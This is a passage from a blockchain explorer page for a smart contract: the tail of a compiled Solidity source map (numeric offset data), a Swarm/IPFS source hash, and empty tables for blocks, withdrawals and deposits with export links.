:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;4949:251::-;5019:6;5072:2;5060:9;5051:7;5047:23;5043:32;5040:52;;;5088:1;5085;5078:12;5040:52;5120:9;5114:16;5139:31;5164:5;5139:31;:::i;6126:306::-;6214:6;6222;6230;6283:2;6271:9;6262:7;6258:23;6254:32;6251:52;;;6299:1;6296;6289:12;6251:52;6328:9;6322:16;6312:26;;6378:2;6367:9;6363:18;6357:25;6347:35;;6422:2;6411:9;6407:18;6401:25;6391:35;;6126:306;;;;;:::o;6716:277::-;6783:6;6836:2;6824:9;6815:7;6811:23;6807:32;6804:52;;;6852:1;6849;6842:12;6804:52;6884:9;6878:16;6937:5;6930:13;6923:21;6916:5;6913:32;6903:60;;6959:1;6956;6949:12;9860:125;9925:9;;;9946:10;;;9943:36;;;9959:18;;:::i;10345:135::-;10384:3;10405:17;;;10402:43;;10425:18;;:::i;:::-;-1:-1:-1;10472:1:1;10461:13;;10345:135::o;10485:128::-;10552:9;;;10573:11;;;10570:37;;;10587:18;;:::i;10618:217::-;10658:1;10684;10674:132;;10728:10;10723:3;10719:20;10716:1;10709:31;10763:4;10760:1;10753:15;10791:4;10788:1;10781:15;10674:132;-1:-1:-1;10820:9:1;;10618:217::o;11374:127::-;11435:10;11430:3;11426:20;11423:1;11416:31;11466:4;11463:1;11456:15;11490:4;11487:1;11480:15;11506:980;11768:4;11816:3;11805:9;11801:19;11847:6;11836:9;11829:25;11873:2;11911:6;11906:2;11895:9;11891:18;11884:34;11954:3;11949:2;11938:9;11934:18;11927:31;11978:6;12013;12007:13;12044:6;12036;12029:22;12082:3;12071:9;12067:19;12060:26;;12121:2;12113:6;12109:15;12095:29;;12142:1;12152:195;12166:6;12163:1;12160:13;12152:195;;;12231:13;;-1:-1:-1;;;;;12227:39:1;12215:52;;12322:15;;;;12287:12;;;;12263:1;12181:9;12152:195;;;-1:-1:-1;;;;;;;12403:32:1;;;;12398:2;12383:18;;12376:60;-1:-1:-1;;;12467:3:1;12452:19;12445:35;12364:3;11506:980;-1:-1:-1;;;11506:980:1:o

Swarm Source

ipfs://e56f5f0ff3e2021a23dad5ecbdd5811120bc1fddfa88cfe371c6942226e7cae3

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.